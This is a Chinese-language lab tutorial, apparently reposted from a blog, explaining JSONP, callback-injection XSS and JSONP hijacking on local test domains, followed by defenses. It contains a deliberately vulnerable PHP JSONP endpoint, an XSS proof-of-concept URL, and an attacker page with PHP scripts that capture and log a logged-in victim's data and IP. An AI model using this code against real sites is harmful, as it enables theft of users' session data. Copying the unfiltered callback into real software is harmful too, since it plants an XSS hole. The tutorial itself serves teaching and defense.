JSONP 劫持
JSONP 介绍
jsonp 是一种协议,准确的说,他是 json 的一种使用模式,为了解决 Json 受同源策略限制的问题。
基本语法
JSONP的基本语法为:callback({"name":"test", "msg":"success"})
常见的例子包括函数调用如callback({"a":"b"})
或变量赋值var a={JSON data}
应用场景
首先演示一下 JSON 的局限性
首先我搭建两个网站 http://www.victim.san.com/ 、http://www.attack.san.com/
我们在 http://www.victim.san.com/ 下新建一个 test.json :
{ "username": "Sentiment", "password": "123456" }
然后在 http://www.victim.san.com/ 中编写以下代码:
index.php:
<?php
echo "www.victim.san.com";
echo "</br>";
?>
<script src='./jquery.js'></script>
<script >
$.ajax({
url: 'http://www.victim.san.com/test.json',
type:"get",
dataType: "json",
success: function (data) {
console.log(data);}
})
</script>
然后访问 http://www.victim.san.com/
可以看到,能够正常的获取到 JOSN 中的数据
然后我们在 http://www.attack.san.com/ 中编写代码
index.php:
<?php
echo "www.attack.san.com";
echo "</br>";
?>
<script src='./jquery.js'></script>
<script >
$.ajax({
url: 'http://www.victim.san.com/test.json',
type:"get",
dataType: "json",
success: function (data) {
console.log(data);}
})
</script>
可以看到,因为同源策略的影响,我们的 www.attack.san.com 的 JS 是无法获取到 www.victim.san.com 的数据的。
也就是说,普通的 CSRF 漏洞是这样的。你诱骗别人访问了你的 www.attack.san.com ,你的的恶意 JS 可以操作受害者的浏览器访问关键系统了,然后受害者的浏览器也确实登陆过关键系统有 cookie 的,然后也确实系统返回了敏感数据给受害者的浏览器了,但是,,,你写的这个恶意 JS 因为同源策略的影响它拿不到数据,也就没法把数据发送给你的恶意服务器哦。
JSONP 的用法
jsonp 简单地说,就是利用 script 标签的 src 属性能够发起跨域请求的原理来实现的。
因此只需将 test.json 中的内容按照 javascript 规范去规定,便可以实现跨域资源访问。聪明的程序员们很快便找到了解决问题的办法。只需让目标页面回调本地页面的方法,并带入参数即可,这也就是 jsonp 的核心原理。
index.php:
<?php
echo "www.attack.san.com";
echo "</br>";
?>
<body>
<script>
function callback(data){
console.log("name:" + data.username + " passwrod:" + data.password);
}
</script>
<script src="http://www.victim.san.com/test.json"></script>
</body>
在 test.json 中按照 javascript 代码规范调用 callback 函数,并将数据作为参数传入
callback({ "username": "Sentiment", "password": "123456" });
此时请求 http://www.attack.san.com/ ,成功请求跨域 json
所以 JSONP 主要就是用来解决跨域问题的。也就是说,顺便帮 CSRF 漏洞也解决了跨域问题。
JSONP跨域漏洞
JSONP 跨域漏洞主要是 callback 自定义导致的 XSS 和 JSONP 劫持。
callback 自定义导致的 XSS
我们知道,在 JSONP 跨域中,我们是可以传入一个函数名的参数如 callback,然后 JSONP 端点会根据我们的传参动态生成 JSONP 数据响应回来。
如果 JSONP 端点对于用于传入的函数名参数 callback 处理不当,如未正确设置响应包的 Content-Type、未对用户输入参数进行有效过滤或转义时,就会导致 XSS 漏洞的产生。
attack.san.com/jsonp.php:
<?php
$func = $_GET['callback'];
print $func."({ \"username\": \"Sentiment\", \"password\": \"123456\" })";
我们再写一个常见的使用 jQuery 调用 JSONP 的例子(为了演示跨域,我就用 victim 调用 attack 了)
victim.san.com/index.php:
<?php
echo "www.victim.san.com";
echo "</br>";
?>
<html>
<body>
<table>
<tr>
<td>
姓名:
</td>
<td>
<label id="username"></label>
</td>
</tr>
<tr>
<td>
密码:
</td>
<td>
<label id="password"></label>
</td>
</tr>
<tr>
<td>
<button onclick="doSearch()">获取信息</button>
</td>
</tr>
</table>
<script>
function callback(data) {
document.getElementById("username").innerText = data.username;
document.getElementById("password").innerText = data.password;
}
</script>
<script src='./jquery.js'></script>
<script >
function doSearch(){
$.ajax({
url: 'http://www.attack.san.com/jsonp.php',
dataType: 'jsonp',
jsonp: 'callback',
success: function(response) {
document.getElementById("username").innerText = response.username;
document.getElementById("password").innerText = response.password;
},
error: function(xhr, status, error) {
// 处理错误
}
});
}
</script>
</body>
</html>
可以看到完美实现跨越请求而且发出的确实是 JSONP 格式请求。
那么 XSS 呢?
OK ,我们把 jsonp.php 再放到 victim.san.com 下去吧。
使用 POC 访问 http://www.victim.san.com/jsonp.php?callback=%3Cscript%3Ealert(%27XSS%27)%3C/script%3E;callback
请求后触发 xss,此时发现 php 默认的 content-type 为 text/html
其它 content-type 类型
经测试后发现 application/json、text/json、application/javascript、text/javascript 等都不触发 XSS
JSONP劫持
因为 jsonp 实现了跨域资源访问,如果获取的数据能够成为下一步操作的凭证,那么便可以引起 jsonp 劫持。
Demo1 — 窃取用户信息
以下都是 victim.san.com 下的。
设置模拟用户登录页面 index.php
<?php
error_reporting(0);
session_start();
$name = $_GET['name'];
$pwd = $_GET['pwd'];
if($name == "admin" && $pwd == "admin"){
$_SESSION['name'] = $name;
}
if (isset($_GET['logout'])) {
if ($_GET['logout'] === 'true') {
unset($_SESSION['name']);
}
}
// 如果没有登陆
if(!$_SESSION["name"]){
echo '<html>
<head>
<title>登录</title>
<meta charset="utf-8">
</head>
<body>
<form action="index.php" method="get">
用户名:<input type="text" name="name">
密码:<input type="password" name="pwd">
<input type="submit" name="submit" value="login">
</form>
</body>
</html>';
} else { // 如果登陆了
echo '<a href="http://www.victim.san.com/info.php">用户信息</a><br>';
echo '<a href="http://www.victim.san.com/index.php?logout=true">退出登录</a><br data-tomark-pass>';
echo "欢迎您, " . $_SESSION['name'] . "<br data-tomark-pass>";
}
查询信息页面 info.php
<?php
error_reporting(0);
session_start();
echo "欢迎来到 www.victim.san.com";
echo "</br>";
echo '<a href="index.php?logout=true">退出登录</a><br data-tomark-pass>';
echo "欢迎您, " . $_SESSION['name'] . "<br data-tomark-pass>";
?>
<html>
<body>
<table>
<tr>
<td>姓名:</td>
<td><label id="username"></label></td>
</tr>
<tr>
<td>密码:</td>
<td><label id="password"></label></td>
</tr>
<tr>
<td><input id="keyword"></td>
<td><button onclick="doSearch()">获取信息</button></td>
</tr>
</table>
<script src='./jquery.js'></script>
<script>
function doSearch() {
const url = 'http://www.victim.san.com/jsonp.php';
$.ajax({
url: url,
dataType: 'jsonp',
jsonp: 'callback',
success: function (response) {
document.getElementById("username").innerText = response.username;
document.getElementById("password").innerText = response.password;
},
error: function (xhr, status, error) {
// 处理错误
}
});
}
</script>
</body>
</html>
返回信息的接口 jsonp.php
<?php
error_reporting(0);
session_start();
$name = $_GET['keyword'];
$func = $_GET['callback'];
if(isset($_SESSION['name'])){
print $func."({ \"username\": \"" . $_SESSION["name"] . "\", \"password\": \"admin\" })";
} else {
print $func."({ \"username\": \"error\", \"password\": \"error\" })";
}
OK,可以完美的实现一个简简单单的系统啦。
当用户登录后,访问 info.php 便能查询到自己的信息。
这个时候攻击者发现 http://www.victim.san.com/jsonp.php?keyword=admin&callback=jQuery3700970858841055924_1691117036026&_=1691117036029 这个接口使用了 JSONP ,而且也没有防御 CSRF 这类的攻击,OK 进行攻击。
此时构造恶意 html
index.php
<?php
echo "www.attack.san.com";
echo "</br>";
?>
<body>
<script>
function callback(data){
let yourData = "";
for(const key in data){
yourData += key + "=" + data[key] + ', ';
}
// 加入其他你需要添加的数据
const currentDate = new Date();
const currentDateTime = currentDate.toLocaleString();
yourData += "time=" + currentDateTime + ", ";
const dataToSend = {data: yourData};
$.ajax({
url: 'data.php',
type:"get",
data: dataToSend,
success: function (data) {
alert("你的信息已经被我偷走啦! " + yourData);
},
error: function(xhr, status, error) {
alert("发送信息出错了! " + yourData);
}
})
}
</script>
<script src='./jquery.js'></script>
<script src="http://www.victim.san.com/jsonp.php?callback=callback"></script>
</body>
data.php
<?php
$data = $_GET['data'];
$data .= "IP=".$_SERVER["REMOTE_ADDR"];
$data = $data . PHP_EOL;
$file = file_put_contents("info.txt", $data, FILE_APPEND);
show.php:
<?php
$fileContent = file("info.txt");
foreach ($fileContent as $line){
echo $line . "<br>";
}
引导用户访问后 http://www.attack.san.com/ 成功被 jsonp 劫持
防御
● 若可行,则使用 CORS 替换 JSONP 实现跨域功能;
● 应用 CSRF 防御措施来调用 JSON 文件:限制 Referer 、部署 Token 等;
● 严格设置 Content-Type 及编码(Content-Type: application/json; charset=utf-8 );
● 把回调函数加入到白名单
参考:
本文来自博客园,作者:Nestar,转载请注明原文链接:https://www.cnblogs.com/Nestar/p/17605734.html